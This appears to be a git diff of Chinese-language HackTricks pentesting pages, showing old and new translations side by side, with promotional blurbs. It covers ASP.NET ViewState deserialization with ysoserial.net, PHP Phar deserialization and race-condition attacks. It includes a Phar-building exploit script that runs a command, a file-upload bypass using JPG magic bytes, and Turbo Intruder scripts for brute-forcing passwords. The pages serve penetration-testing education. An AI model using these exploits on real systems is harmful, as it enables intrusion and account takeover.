如果成功利用了ViewState反序列化漏洞，一个受攻击者控制的服务器将收到一个包含用户名的带外请求。[成功利用的PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
如果 ViewState 反序列化漏洞被成功利用，一个受攻击者控制的服务器将接收到一个包含用户名的出站请求。[成功利用的 PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
|
||||
### 测试案例6 - 使用了ViewStateUserKeys
|
||||
### 测试案例 6 – 正在使用 ViewStateUserKeys
|
||||
|
||||
**ViewStateUserKey**属性可以用来防御**CSRF攻击**。如果应用程序中定义了这样的密钥，并且我们尝试使用前面讨论的方法生成**ViewState**负载，**应用程序将不会处理该负载**。
|
||||
为了正确创建负载，你需要使用另一个参数：
|
||||
**ViewStateUserKey** 属性可以用来**防御** **CSRF 攻击**。如果在应用程序中定义了这样的密钥，并且我们尝试使用到目前为止讨论的方法生成 **ViewState** 负载，**应用程序将不会处理该负载**。\
|
||||
您需要使用另一个参数来正确创建负载：
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### 成功利用的结果 <a href="#poc" id="poc"></a>
|
||||
|
||||
对于所有的测试用例，如果 ViewState YSoSerial.Net 载荷**成功**起作用，服务器会响应“**500 内部服务器错误**”，响应内容为“**此页面的状态信息无效，可能已损坏**”，我们会得到如下图所示的 OOB 请求：
|
||||
对于所有测试案例，如果ViewState YSoSerial.Net有效载荷**成功**工作，那么服务器会响应“**500 内部服务器错误**”，响应内容为“**此页面的状态信息无效，可能已损坏**”，我们会收到如下图所示的OOB请求：
|
||||
|
||||
|
||||
|
||||
|
||||
带有当前用户名的带外请求
|
||||
|
||||
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘！**（需要流利的波兰语书面和口语能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -215,10 +223,10 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗？您想在 HackTricks 中看到您的**公司广告**吗？或者您想要访问最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗？想要在 HackTricks 中 **宣传你的公司** 吗？或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗？请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 如果你在一家**网络安全公司**工作？你想在**HackTricks 中看到你的公司广告**？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过提交 PR 到** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果你对**黑客职业**感兴趣并且想要黑入不可黑的 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Phar** 文件（PHP 存档）文件以序列化格式包含元数据，因此，在解析时，此元数据将被反序列化，你可以尝试滥用 PHP 代码中的反序列化漏洞。
|
||||
**Phar** 文件（PHP 归档）包含以序列化格式的元数据，因此，当解析时，这些**元数据**会被**反序列化**，你可以尝试利用 PHP 代码中的**反序列化**漏洞。
|
||||
|
||||
这个特性最好的一点是，即使使用不评估 PHP 代码的 PHP 函数（如 **file\_get\_contents()、fopen()、file() 或 file\_exists()、md5\_file()、filemtime() 或 filesize()**），这个反序列化也会发生。
|
||||
关于这个特性最好的一点是，即使使用不执行 PHP 代码的 PHP 函数，如 **file\_get\_contents(), fopen(), file() 或 file\_exists(), md5\_file(), filemtime() 或 filesize()**，这种反序列化也会发生。
|
||||
|
||||
所以，想象一下这样的情况，你可以使用 **`phar://`** 协议使 PHP 网页获取任意文件的大小，并在代码中找到类似下面的代码：
|
||||
因此，想象一种情况，你可以让 PHP 网页使用 **`phar://`** 协议获取任意文件的大小，而在代码中你找到一个类似于以下的**类**：
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
|
@ -40,11 +40,11 @@ system($this->data);
|
|||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
您可以创建一个**phar**文件，当加载时，将滥用此类以执行任意命令，例如：
|
||||
```markdown
|
||||
您可以创建一个**phar**文件，当加载时，它将**滥用这个类来执行任意命令**，类似于：
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```
|
||||
```php
|
||||
<?php
|
||||
|
||||
|
|
@ -70,14 +70,16 @@ $object = new AnyClass('whoami');
|
|||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
注意在phar文件的开头添加了JPG的**魔术字节**(`\xff\xd8\xff`)，以**绕过**可能的文件**上传****限制**。\
|
||||
注意，**JPG的魔数**（`\xff\xd8\xff`）被添加到phar文件的开头，以**绕过**可能的文件**上传限制**。\
|
||||
使用以下命令**编译**`test.phar`文件：
|
||||
```
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
```
|
||||
并利用有漏洞的代码执行`whoami`命令：
|
||||
执行 `whoami` 命令来滥用脆弱代码：
|
||||
```bash
|
||||
php vuln.php
|
||||
```
|
||||
|
|
@ -85,20 +87,20 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑进那些看似不可侵犯的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方的PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,105 +1,106 @@
|
|||
# 竞争条件
|
||||
# 竞态条件
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**，由世界上**最先进的**社区工具提供支持。\
|
||||
立即获取访问权限：
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗？你想在HackTricks中看到你的公司广告吗？或者你想获得PEASS的**最新版本或下载PDF格式的HackTricks**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks 中看到您的公司广告**吗？或者您想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## 利用竞争条件
|
||||
## 利用竞态条件
|
||||
|
||||
滥用竞争条件的主要问题是需要请求在非常短的时间差内并行处理（通常>1ms）。在下一节中，提出了不同的解决方案，以实现这一点。
|
||||
滥用竞态条件的主要问题是您需要请求并行处理，并且时间差非常短（通常>1ms）。在以下部分中，提出了不同的解决方案以实现这一点。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 单数据包攻击（HTTP/2）/ 最后一个字节同步（HTTP/1.1）
|
||||
### 单包攻击（HTTP/2）/ 最后字节同步（HTTP/1.1）
|
||||
|
||||
HTTP2允许在**单个TCP连接**中发送**2个请求**（而在HTTP/1.1中，它们必须是顺序的）。\
|
||||
使用单个TCP数据包完全**消除了网络抖动的影响**，因此这对于竞争条件攻击也具有潜力。然而，**两个请求对于可靠的竞争攻击来说是不够的**，这要归功于**服务器端抖动** - 应用程序请求处理时间的变化，由于CPU争用等不可控变量引起。
|
||||
HTTP2 允许在**单个 TCP 连接中发送 2 个请求**（而在 HTTP/1.1 中它们必须是顺序的）。\
|
||||
使用单个 TCP 数据包完全**消除了网络抖动的影响**，因此这显然也有潜力用于竞态条件攻击。然而，**两个请求对于可靠的竞态攻击来说是不够的**，这要归功于**服务器端抖动** - 应用程序请求处理时间的变化，由不可控变量如 CPU 竞争引起。
|
||||
|
||||
但是，使用HTTP/1.1的'**最后一个字节同步**'技术，可以预先发送大部分数据，并保留每个请求的一个小片段，然后使用一个单个TCP数据包'完成'**20-30个请求**。
|
||||
但是，使用 HTTP/1.1 的“**最后字节同步**”技术，可以预先发送大部分数据，保留每个请求的一小部分，然后用单个 TCP 数据包“完成”**20-30 个请求**。
|
||||
|
||||
要**预先发送每个请求的大部分数据**：
|
||||
|
||||
- 如果请求没有主体，请发送所有标头，但不设置END\_STREAM标志。保留一个带有设置了END\_STREAM的空数据帧。
|
||||
- 如果请求有主体，请发送标头和除最后一个字节之外的所有主体数据。保留一个包含最后一个字节的数据帧。
|
||||
* 如果请求没有正文，发送所有头部，但不设置 END_STREAM 标志。保留设置了 END_STREAM 的空数据帧。
|
||||
* 如果请求有正文，发送头部和除最后一个字节外的所有正文数据。保留包含最后一个字节的数据帧。
|
||||
|
||||
接下来，**准备发送最后的帧**：
|
||||
|
||||
- 等待100ms，以确保初始帧已发送。
|
||||
- 确保禁用TCP\_NODELAY - Nagle算法批处理最后的帧至关重要。
|
||||
- 发送一个ping数据包以预热本地连接。如果不这样做，操作系统的网络堆栈将把第一个最后的帧放在一个单独的数据包中。
|
||||
* 等待 100ms 以确保初始帧已发送。
|
||||
* 确保 TCP_NODELAY 被禁用 - 关键是 Nagle 算法批处理最后的帧。
|
||||
* 发送 ping 数据包以预热本地连接。如果不这样做，操作系统网络堆栈会将第一个最终帧放在单独的数据包中。
|
||||
|
||||
最后，发送被保留的帧。您应该能够使用Wireshark验证它们是否落在一个单独的数据包中。
|
||||
最后，发送保留的帧。您应该能够使用 Wireshark 验证它们是否落在单个数据包中。
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意，这**对于某些服务器上的静态文件不起作用**，但静态文件对于竞争条件攻击是无关紧要的。
|
||||
请注意，它**不适用于某些服务器上的静态文件**，但静态文件与竞态条件攻击无关。但静态文件对于竞态条件攻击来说是无关紧要的。
|
||||
{% endhint %}
|
||||
|
||||
使用这种技术，您可以使20-30个请求同时到达服务器 - 不受网络抖动的影响：
|
||||
使用这种技术，您可以使 20-30 个请求同时到达服务器 - 不受网络抖动的影响：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**适应目标架构**
|
||||
|
||||
值得注意的是，许多应用程序位于前端服务器后面，这些服务器可能决定将某些请求转发到后端的现有连接，并为其他请求创建新的连接。
|
||||
值得注意的是，许多应用程序位于前端服务器之后，这些服务器可能决定将某些请求通过现有连接转发到后端，并为其他请求创建新的连接。
|
||||
|
||||
因此，重要的是不要将不一致的请求时间归因于应用程序行为，例如只允许单个线程同时访问资源的锁定机制。此外，前端请求路由通常是基于每个连接的，因此您可以通过在攻击之前在服务器端进行连接预热 - **在连接上发送几个无关紧要的请求**（这只是在开始实际攻击之前发送几个请求）来平滑请求时间。
|
||||
因此，重要的是不要将不一致的请求时间归因于应用程序行为，例如锁定机制，这些机制一次只允许单个线程访问资源。此外，前端请求路由通常是基于每个连接进行的，因此您可以通过执行服务器端连接预热来平滑请求时间 - **在执行攻击之前通过您的连接发送一些不重要的请求**（这只是在开始实际攻击之前发送几个请求）。
|
||||
|
||||
#### 基于会话的锁定机制 <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
一些框架尝试通过使用某种形式的**请求锁定**来防止意外数据损坏。例如，**PHP的本机会话处理程序**模块一次只处理**一个会话的请求**。
|
||||
一些框架尝试通过使用某种形式的**请求锁定**来防止意外数据损坏。例如，**PHP 的原生会话处理器**模块一次只处理**一个会话的一个请求**。
|
||||
|
||||
非常重要的是要发现这种行为，因为它可能会掩盖容易被利用的漏洞。如果您注意到所有请求都在顺序处理，请尝试使用不同的会话令牌发送每个请求。
|
||||
|
||||
发现此类行为非常重要，因为否则它可能掩盖了可以轻松利用的漏洞。如果注意到所有请求都按顺序处理，请尝试使用不同的会话令牌发送每个请求。
|
||||
#### **滥用速率或资源限制**
|
||||
|
||||
如果连接预热没有任何效果，有多种解决方案可解决此问题。
|
||||
如果连接预热没有任何变化，有几种解决方案可以解决这个问题。
|
||||
|
||||
使用Turbo Intruder，您可以引入短暂的客户端延迟。然而，由于这涉及将实际攻击请求分割成多个TCP数据包，您将无法使用单数据包攻击技术。因此，在高抖动目标上，无论您设置了什么延迟，攻击都不太可能可靠地工作。
|
||||
使用 Turbo Intruder，您可以引入短暂的客户端延迟。然而，由于这涉及将您的实际攻击请求分散到多个 TCP 数据包中，您将无法使用单包攻击技术。因此，对于高抖动目标，无论您设置什么延迟，攻击都不太可能可靠地工作。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
相反，您可以通过滥用常见的安全功能来解决此问题。
|
||||
相反，您可能可以通过滥用常见的安全功能来解决这个问题。
|
||||
|
||||
Web服务器通常会**延迟处理请求，如果发送得太快**。通过发送大量的虚拟请求来故意触发速率或资源限制，您可能会导致适当的服务器端延迟。这使得即使需要延迟执行，单数据包攻击也是可行的。
|
||||
Web 服务器通常**延迟处理请求，如果请求发送得太快太多**。通过发送大量虚假请求故意触发速率或资源限制，您可能会导致适当的服务器端延迟。这使得即使在需要延迟执行的情况下，单包攻击也是可行的。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
有关此技术的更多信息，请查看原始报告[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
有关此技术的更多信息，请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
{% endhint %}
|
||||
|
||||
#### 攻击示例
|
||||
|
||||
* **Tubo Intruder - HTTP2单数据包攻击（1个端点）**：您可以将请求发送到**Turbo intruder**（`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`），您可以在请求中更改要暴力破解的值**`%s`**，例如`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`，然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**：
|
||||
* **Tubo Intruder - HTTP2 单包攻击（1 个端点）**：您可以将请求发送到 **Turbo intruder**（`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`），您可以在请求中更改您想要暴力破解的值，例如 **`%s`**，如在 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` 中，然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您要**发送不同的值**，您可以使用以下代码，该代码使用剪贴板中的字典文件：
|
||||
如果您打算**发送不同的值**，您可以使用这段代码，它使用来自剪贴板的单词列表：
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
如果网站不支持HTTP2（只支持HTTP1.1），请使用`Engine.THREADED`或`Engine.BURP`代替`Engine.BURP2`。
|
||||
如果网站不支持HTTP2（仅支持HTTP1.1），请使用`Engine.THREADED`或`Engine.BURP`代替`Engine.BURP2`。
|
||||
{% endhint %}
|
||||
|
||||
* **Tubo Intruder - HTTP2单数据包攻击（多个端点）**：如果您需要向一个端点发送请求，然后向其他端点发送多个请求以触发RCE，您可以将`race-single-packet-attack.py`脚本更改为以下内容：
|
||||
